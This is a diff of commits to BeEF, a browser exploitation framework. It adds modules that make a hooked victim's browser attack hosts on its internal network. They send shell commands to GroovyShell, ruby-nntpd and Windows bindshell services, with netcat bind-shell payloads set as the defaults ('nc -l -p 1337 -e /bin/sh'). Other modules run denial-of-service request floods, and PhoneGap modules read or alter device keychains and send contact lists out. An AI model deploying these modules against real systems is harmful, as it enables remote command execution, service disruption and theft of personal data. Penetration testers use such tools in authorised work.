class Extract_cmd_exec < BeEF::Core::Command
def self.options
return [
{'name'=>'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1'},
{'name'=>'rport', 'ui_label' => 'Remote Port', 'value' => '10100'},
{'name'=>'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15'},
{'name'=>'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type'=>'textarea', 'value'=>'{netcat,-l,-p,1337,-e,/bin/bash}', 'width'=>'200px' },
]
end
def post_execute
save({'result' => @datastore['result']}) if not @datastore['result'].nil?
save({'fail' => @datastore['fail']}) if not @datastore['fail'].nil?
end
end

View File

@@ -0,0 +1,43 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
// validate payload
try {
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
var payload = '\r\ndiscard\r\nprintln \''+cmd+'\'.execute().text\r\ngo\r\nexit\r\n'
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target details
if (!rport || !rhost || isNaN(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');
return;
}
if (rport > 65535 || rport < 0) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');
return;
}
// send commands
var groovy_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands");
// clean up
cleanup = function() {
document.body.removeChild(groovy_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
groovyshell_server_command_execution:
enable: true
category: "Exploits"
name: "GroovyShell Server Command Execution"
description: "This module uses the GroovyShell Server interface (default port 6789) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: Spaces in the command are not supported."
authors: ["bcoles"]
target:
working: ["FF", "C"]
not_working: ["IE"]

View File

@@ -0,0 +1,22 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Groovyshell_server_command_execution < BeEF::Core::Command
def self.options
return [
{'name'=>'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1'},
{'name'=>'rport', 'ui_label' => 'Remote Port', 'value' => '6789'},
{'name'=>'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15'},
{'name'=>'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute. Note: Spaces in the command are not supported.', 'type'=>'textarea', 'value'=>'/bin/sh -c id>/tmp/id;uname>/tmp/uname', 'width'=>'200px' },
]
end
def post_execute
save({'result' => @datastore['result']}) if not @datastore['result'].nil?
save({'fail' => @datastore['fail']}) if not @datastore['fail'].nil?
end
end

View File

@@ -32,7 +32,7 @@ function serializeObj (obj) {
}
// Run attack
function attackSite (target_url) {
function php_dos (target_url) {
var bad = serializeObj(createEvilObj());
var xhr = new XMLHttpRequest();
xhr.open("POST", target_url, true);
@@ -42,10 +42,10 @@ function attackSite (target_url) {
}
try {
attackSite("<%= @url %>");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=request sent");
php_dos("<%= @url %>");
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=DoS request sent");
} catch (e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result=request failed&error="+e.toString());
beef.net.send('<%= @command_url %>', <%= @command_id %>, "fail=request failed with error: "+e.toString());
}
});

View File

@@ -13,7 +13,8 @@ class Php_dos < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
content['result'] = @datastore['result'] if not @datastore['result'].nil?
content['fail] = @datastore['fail'] if not @datastore['fail'].nil?
save content
end

View File

@@ -30,12 +30,12 @@ beef.execute(function() {
}
// send commands
var qnx_iframe = beef.dom.createIframeIpecForm(rhost, rport, payload);
var qnx_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
// clean up
cleanup = function() {
document.body.removeChild(qnx_iframe);
document.body.removeChild(qnx_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);

View File

@@ -0,0 +1,43 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var rhost = '<%= @rhost %>';
var rport = '<%= @rport %>';
var timeout = '<%= @timeout %>';
// validate payload
try {
var cmd = '<%= @cmd.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
var payload = '\r\neval `'+cmd+'`\r\nexit\r\n';
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
// validate target details
if (!rport || !rhost || isNaN(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');
return;
}
if (rport > 65535 || rport < 0) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');
return;
}
// send commands
var nntpd_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", payload);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=sent commands");
// clean up
cleanup = function() {
document.body.removeChild(nntpd_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});

View File

@@ -0,0 +1,16 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
ruby_nntpd_cmd_exec:
enable: true
category: "Exploits"
name: "ruby-nntpd Command Execution"
description: "This module uses the 'eval' verb in ruby-nntpd 0.01dev (default port 1119) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF."
authors: ["bcoles"]
target:
working: ["FF", "C"]
not_working: ["IE"]

View File

@@ -0,0 +1,24 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
###
# ruby-nntpd homepage: http://code.google.com/p/ruby-nntpd/
###
class Ruby_nntpd_cmd_exec < BeEF::Core::Command
def self.options
return [
{'name'=>'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1'},
{'name'=>'rport', 'ui_label' => 'Remote Port', 'value' => '1119'},
{'name'=>'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15'},
{'name'=>'cmd', 'ui_label' => 'Commands', 'description' => 'Enter shell commands to execute.', 'type'=>'textarea', 'value'=>'nc -l -p 1337 -e /bin/sh', 'width'=>'200px' },
]
end
def post_execute
save({'result' => @datastore['result']}) if not @datastore['result'].nil?
save({'fail' => @datastore['fail']}) if not @datastore['fail'].nil?
end
end

View File

@@ -25,12 +25,12 @@ beef.execute(function() {
irc_commands += "PRIVMSG " + channel + " :" + message + "\nQUIT\n";
// send commands
var irc_iframe = beef.dom.createIframeIpecForm(rhost, rport, irc_commands);
var irc_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html", irc_commands);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IRC command sent");
// clean up
cleanup = function() {
document.body.removeChild(irc_iframe);
document.body.removeChild(irc_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", 15000);

View File

@@ -6,74 +6,41 @@
beef.execute(function() {
var target_ip = "<%= @ip %>";
var target_port = "<%= @port %>";
var cmd = "<%= @cmd %>";
var timeout = "<%= @command_timeout %>";
var internal_counter = 0;
cmd += " & echo __END_OF_WIN_IPC<%= @command_id %>__ & echo </pre>\"\" & echo <div id='ipc_content'>\"\"";
var iframe = document.createElement("iframe");
iframe.setAttribute("id","ipc_win_window_<%= @command_id %>");
iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");
document.body.appendChild(iframe);
function do_submit(ip, port, content) {
var action = "http://" + ip + ":" + port + "/index.html?&cmd&";
var parent = window.location.href;
myform=document.createElement("form");
myform.setAttribute("name","data");
myform.setAttribute("method","post");
myform.setAttribute("enctype","multipart/form-data");
myform.setAttribute("action",action);
document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform);
myExt = document.createElement("INPUT");
myExt.setAttribute("id",<%= @command_id %>);
myExt.setAttribute("name",<%= @command_id %>);
myExt.setAttribute("value",content);
myform.appendChild(myExt);
myExt = document.createElement("INPUT");
myExt.setAttribute("id","endTag");
myExt.setAttribute("name","</div>");
myExt.setAttribute("value","echo <scr"+"ipt>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\"ipc_content\").innerHTML);</"+"script>\"\" & exit");
myform.appendChild(myExt);
myform.submit();
// validate payload
try {
var cmd = '<%= @commands.gsub(/'/, "\\\'").gsub(/"/, '\\\"') %>';
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());
return;
}
function waituntilok() {
try {
if (/#ipc_result=/.test(document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location)) {
ipc_result = document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location.href;
output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_WIN_IPC<%= @command_id %>__'));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result="+decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/&lt;br&gt;/gi, "<br>"));
document.body.removeChild(iframe);
return;
} else throw("command results haven't been returned yet");
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');
document.body.removeChild(iframe);
return;
}
setTimeout(function() {waituntilok()},1000);
}
// validate target host
var rhost = "<%= @rhost %>";
if (!rhost) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');
return;
}
if (!target_port || !target_ip || isNaN(target_port)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed target host or target port');
} else if (target_port > 65535 || target_port < 0) {
// validate target port
var rport = "<%= @rport %>";
if (!rport || rport > 65535 || rport < 0 || isNaN(rport)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
} else {
do_submit(target_ip, target_port, cmd);
waituntilok();
return;
}
// validate timeout
var timeout = "<%= @timeout %>";
if (isNaN(timeout)) timeout = 30;
// send commands
var win_ipec_form_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, "/index.html?&cmd&", cmd + " & exit");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Shell commands sent');
// clean up
cleanup = function() {
document.body.removeChild(win_ipec_form_<%= @command_id %>);
}
setTimeout("cleanup()", timeout * 1000);
});

View File

@@ -0,0 +1,86 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// This is the old module which supports bi-directional communications for Firefox before version ~16
beef.execute(function() {
var target_ip = "<%= @ip %>";
var target_port = "<%= @port %>";
var cmd = "<%= @cmd %>";
var timeout = "<%= @command_timeout %>";
var internal_counter = 0;
cmd += " & echo __END_OF_WIN_IPC<%= @command_id %>__ & echo </pre>\"\" & echo <div id='ipc_content'>\"\"";
var iframe = document.createElement("iframe");
iframe.setAttribute("id","ipc_win_window_<%= @command_id %>");
iframe.setAttribute("style", "visibility:hidden;width:1px;height:1px;");
document.body.appendChild(iframe);
function do_submit(ip, port, content) {
var action = "http://" + ip + ":" + port + "/index.html?&cmd&";
var parent = window.location.href;
myform=document.createElement("form");
myform.setAttribute("name","data");
myform.setAttribute("method","post");
myform.setAttribute("enctype","multipart/form-data");
myform.setAttribute("action",action);
document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.document.body.appendChild(myform);
myExt = document.createElement("INPUT");
myExt.setAttribute("id",<%= @command_id %>);
myExt.setAttribute("name",<%= @command_id %>);
myExt.setAttribute("value",content);
myform.appendChild(myExt);
myExt = document.createElement("INPUT");
myExt.setAttribute("id","endTag");
myExt.setAttribute("name","</div>");
myExt.setAttribute("value","echo <scr"+"ipt>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\"ipc_content\").innerHTML);</"+"script>\"\" & exit");
myform.appendChild(myExt);
myform.submit();
}
function waituntilok() {
try {
if (/#ipc_result=/.test(document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location)) {
ipc_result = document.getElementById("ipc_win_window_<%= @command_id %>").contentWindow.location.href;
output = ipc_result.substring(ipc_result.indexOf('#ipc_result=')+12,ipc_result.lastIndexOf('__END_OF_WIN_IPC<%= @command_id %>__'));
beef.net.send('<%= @command_url %>', <%= @command_id %>, "result="+decodeURI(output.replace(/%0A/gi, "<br>")).replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/&lt;br&gt;/gi, "<br>"));
document.body.removeChild(iframe);
return;
} else throw("command results haven't been returned yet");
} catch (e) {
internal_counter++;
if (internal_counter > timeout) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timeout after '+timeout+' seconds');
document.body.removeChild(iframe);
return;
}
setTimeout(function() {waituntilok()},1000);
}
}
// validate target host
if (!target_ip) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target host');
return;
}
// validate target port
if (!target_port || target_port > 65535 || target_port < 0 || isNaN(target_port)) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid target port');
return;
}
// send commands
do_submit(target_ip, target_port, cmd);
waituntilok();
});

View File

@@ -9,8 +9,8 @@ beef:
enable: true
category: "IPEC"
name: "Bindshell (Windows)"
description: "Using Inter-protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening Windows shell bound on the target specified in the 'Target Address' input field. <br><br>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet."
description: "Using Inter-Protocol Exploitation/Communication (IPEC) the hooked browser will send commands to a listening Windows shell bound on the target specified in the 'Target Address' input field.<br/><br/>The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.<br/><br/>Note: ampersands are required to seperate commands."
authors: ["bcoles", "wade"]
target:
working: ["FF"]
not_working: ["C", "S", "O", "IE"]
working: ["FF", "C"]
not_working: ["S", "O", "IE"]

View File

@@ -4,67 +4,28 @@
# See the file 'doc/COPYING' for copying permission
#
=begin
[+] Summary:
Using Inter-protocol Communication (IPC) the zombie browser will send commands to a listening Windows shell bound on the target specified in the 'Target Address' input. The target address can be on the zombie's subnet which is potentially not directly accessible from the Internet.
The command results are returned to the BeEF control panel.
[+] Tested:
o Working:
o Mozilla Firefox 4
o Mozilla Firefox 5
o Not Working:
o Mozilla Firefox 5 with the NoScript extension
o Internet Explorer 8+
o Chrome 13
o Opera 11
o Safari 5
[+] Notes:
o The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:
o use the netcat persistent listen "-L" option rather than the listen "-l" option; or
o remove the "& exit" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.
o The NoScript extension for Firefox aborts the request when attempting to access a host on the internal network and displays the following warning:
[ABE] <LOCAL> Deny on {POST http://localhost:4444/index.html?&cmd& <<< about:blank - 7}
SYSTEM rule:
Site LOCAL
Accept from LOCAL
Deny
o Internet Explorer is not supported as IE 8+ does not allow posting data to internal network addresses. Earlier versions of IE have not been tested.
o Returning the shell command results is not supported in Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe. The shell commands are executed on the target shell however.
o This module is incompatible with autorun. Upon completing the shell commands it will load the original hooked window in a child iframe resulting in an additional hook. This will result in an infinite loop if this module is set to autorun.
The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:
- use the netcat persistent listen "-L" option rather than the listen "-l" option; or
- remove the "& exit" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.
Returning the shell command results is not supported in Firefox ~16+, IE, Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe due to content-type restrictions. The shell commands are executed on the target shell however.
=end
class Inter_protocol_win_bindshell < BeEF::Core::Command
def self.options
return [
{'name'=>'ip', 'ui_label' => 'Target Address', 'value' => 'localhost'},
{'name'=>'port', 'ui_label' => 'Target Port', 'value' => '4444'},
{'name'=>'command_timeout', 'ui_label'=>'Timeout (s)', 'value'=>'30'},
{'name'=>'cmd', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: the ampersands are required to seperate commands', 'type'=>'textarea', 'value'=>'echo User: & whoami & echo Directory Contents: & dir & echo HostName: & hostname & ipconfig & netstat -an', 'width'=>'200px' }
{'name'=>'rhost', 'ui_label'=>'Target Address', 'value'=>'127.0.0.1'},
{'name'=>'rport', 'ui_label'=>'Target Port', 'value'=>'4444'},
{'name'=>'timeout', 'ui_label'=>'Timeout (s)', 'value'=>'30'},
{'name'=>'commands','ui_label'=>'Shell Commands', 'description'=>'Enter shell commands to execute. Note: ampersands are required to seperate commands', 'type'=>'textarea', 'value'=>'echo User: & whoami & echo Directory Path: & pwd & echo Directory Contents: & dir & echo HostName: & hostname & ipconfig & netstat -an', 'width'=>'200px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result'] if not @datastore['result'].nil?
content['fail'] = @datastore['fail'] if not @datastore['fail'].nil?
if content.empty?
content['fail'] = 'No data was returned.'
end
content['fail'] = @datastore['fail'] if not @datastore['fail'].nil?
save content
end
end

View File

@@ -0,0 +1,33 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var url = '<%= @url %>';
var delay = '<%= @delay %>';
var method = '<%= @method %>';
var post_data = '<%= @post_data %>';
if(!!window.Worker){
var myWorker = new Worker('http://' + beef.net.host + ':' + beef.net.port + '/worker.js');
myWorker.onmessage = function (oEvent) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, oEvent.data);
};
var data = {};
data['url'] = url;
data['delay'] = delay;
data['method'] = method;
data['post_data'] = post_data;
myWorker.postMessage(data);
}else{
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Error: WebWorkers are not supported on this browser.');
}
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
doser:
enable: true
category: "Network"
name: "DOSer"
description: "Do infinite GET or POST requests to a target, spawning a WebWorker in order to don't slow down the hooked page. If the browser doesn't support WebWorkers, the module will not run."
authors: ["antisnatchor"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,26 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Doser < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/network/doser/worker.js', '/worker', 'js')
end
def self.options
return [
{'name' => 'url', 'ui_label' => 'URL', 'value' => 'http://target/path'},
{'name'=>'delay', 'ui_label' =>'Delay between requests (ms)','value'=>'10'},
{'name'=>'method', 'ui_label' =>'HTTP Method','value'=>'POST'},
{'name'=>'post_data', 'ui_label' =>'POST data','value'=>'key=value&&Aa=Aa&BB'}
]
end
def post_execute
return if @datastore['result'].nil?
save({'result' => @datastore['result']})
end
end

View File

@@ -0,0 +1,45 @@
var url = "";
var delay = 0;
var method = "";
var post_data = "";
var counter = 0;
onmessage = function (oEvent) {
url = oEvent.data['url'];
delay = oEvent.data['delay'];
method = oEvent.data['method'];
post_data = oEvent.data['post_data'];
doRequest();
};
function noCache(u){
var result = "";
if(u.indexOf("?") > 0){
result = "&" + Date.now() + Math.random();
}else{
result = "?" + Date.now() + Math.random();
}
return result;
}
function doRequest(){
setInterval(function(){
var xhr = new XMLHttpRequest();
xhr.open(method, url + noCache(url));
xhr.setRequestHeader('Accept','*/*');
xhr.setRequestHeader("Accept-Language", "en");
if(method == "POST"){
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(post_data);
}else{
xhr.send(null);
}
counter++;
},delay);
setInterval(function(){
postMessage("Requests sent: " + counter);
},10000);
}

View File

@@ -17,7 +17,8 @@ beef.execute(function() {
+ " cordova api: " + device.cordova
+ " platform: " + device.platform
+ " uuid: " + device.uuid
+ " version: " + device.version;
+ " version: " + device.version
+ " model: " + device.model;
} catch(e) {
phonegap_details = "unable to detect phonegap";
}

View File

@@ -0,0 +1,34 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_globalization_status
//
beef.execute(function() {
var result = '';
navigator.globalization.getPreferredLanguage(
function (language) {
result = 'language: ' + language.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'language: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
navigator.globalization.getLocaleName(
function (locale) {
result = 'locale: ' + locale.value + '\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
},
function () {
result = 'locale: ' + 'fail\n';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_globalization_status
#
beef:
module:
phonegap_globalization_status:
enable: true
category: "Phonegap"
name: "Globalization Status"
description: "Examine device local settings"
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# // Phonegap_globalization_status
class Phonegap_globalization_status < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,82 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_keychain
//
beef.execute(function() {
var servicename = "<%== @servicename %>";
var key = "<%== @key %>";
var value = "<%== @value %>";
var action = "<%== @action %>";
var result = '';
var kc = '';
try {
kc = cordova.require("cordova/plugin/keychain");
} catch (err) {
result = 'Unable to access keychain plugin';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
function onGet()
{
var win = function(value) {
result = result + "GET SUCCESS - Key: " + key + " Value: " + value;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var fail = function(error) {
result = result + "GET FAIL - Key: " + key + " Error: " + error;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
kc.getForKey(win, fail, key, servicename);
}
function onSet()
{
var win = function() {
result = result + "SET SUCCESS - Key: " + key;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var fail = function(error) {
result = result + "SET FAIL - Key: " + key + " Error: " + error;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
kc.setForKey(win, fail, key, servicename, value);
}
function onRemove()
{
var win = function() {
result = result + "REMOVE SUCCESS - Key: " + key;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var fail = function(error) {
result = result + "REMOVE FAIL - Key: " + key + " Error: " + error;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
kc.removeForKey(win, fail, key, servicename);
}
if (kc !== undefined) {
switch(action) {
case 'Read':
onGet();
break;
case 'CreateUpdate':
onSet();
break;
case 'Delete':
onRemove();
break;
}
}
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_keychain
#
beef:
module:
phonegap_keychain:
enable: true
category: "Phonegap"
name: "Keychain"
description: "Read/CreateUpdate/Delete Keychain Elements"
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,53 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_keychain
#
class Phonegap_keychain < BeEF::Core::Command
def self.options
return [{
'name' => 'servicename',
'description' => 'Service name',
'ui_label'=>'Service name',
'value' => 'ServiceNameTest',
'width' => '300px'
},{
'name' => 'key',
'description' => 'Key',
'ui_label'=>'Key',
'value' => 'TestKey',
'width' => '300px'
},{
'name' => 'value',
'description' => 'Value',
'ui_label'=>'Value',
'value' => 'TestValue',
'width' => '100px'
},{
'name' => 'action',
'type' => 'combobox',
'ui_label' => 'Action Type',
'store_type' => 'arraystore',
'store_fields' => ['action'],
'store_data' => [['Read'],['CreateUpdate'],['Delete']],
'valueField' => 'action',
'value' => 'CreateUpdate',
editable: false,
'displayField' => 'action',
'mode' => 'local',
'autoWidth' => true
}]
end
def callback
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,43 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// phonegap_list_contacts
//
beef.execute(function() {
var result = '';
function onSuccess(contacts) {
for (var i=0; i<contacts.length; i++) {
result = contacts[i].displayName;
for (var j=0; j<contacts[i].phoneNumbers.length; j++) {
result = result + ' #:' + contacts[i].phoneNumbers[j].value;
}
for (var j=0; j<contacts[i].emails.length; j++) {
result = result + ' @:' + contacts[i].emails[j].value;
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
};
function onError(contactError) {
result = 'fail';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var options = new ContactFindOptions();
options.filter="";
options.multiple=true;
var fields = ["displayName", "phoneNumbers", "emails"];
navigator.contacts.find(fields, onSuccess, onError, options);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# phonegap
#
beef:
module:
phonegap_list_contacts:
enable: true
category: "Phonegap"
name: "List Contacts"
description: "Examine device contacts."
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# // phonegap_list_contacts
class Phonegap_list_contacts < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,49 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// phonegap_plugin_detection
//
beef.execute(function() {
var result = '';
// Approximate list of plugins, intended to work with Cordova 2.x
var plugins = new Array(
"cordova/plugin/device",
"cordova/plugin/logger",
"cordova/plugin/compass",
"cordova/plugin/accelerometer",
"cordova/plugin/Camera",
"cordova/plugin/network",
"cordova/plugin/contacts",
"cordova/plugin/echo",
"cordova/plugin/File",
"cordova/plugin/FileTransfer",
"cordova/plugin/geolocation",
"cordova/plugin/notification",
"cordova/plugin/Media",
"cordova/plugin/capture",
"cordova/plugin/splashscreen",
"cordova/plugin/battery",
"cordova/plugin/globalization",
"cordova/plugin/InAppBrowser",
"cordova/plugin/keychain"
);
for (var i=0; i<plugins.length; i++) {
try {
var a = cordova.require(plugins[i]);
if (a !== undefined) {
result = result + '\n plugin: ' + plugins[i];
}
} catch (err) {
// do nothing
}
}
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# phonegap_plugin_detection
#
beef:
module:
phonegap_plugin_detection:
enable: true
category: "Phonegap"
name: "List Plugins"
description: "Attempts to guess installed plugins."
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# // phonegap_plugin_detection
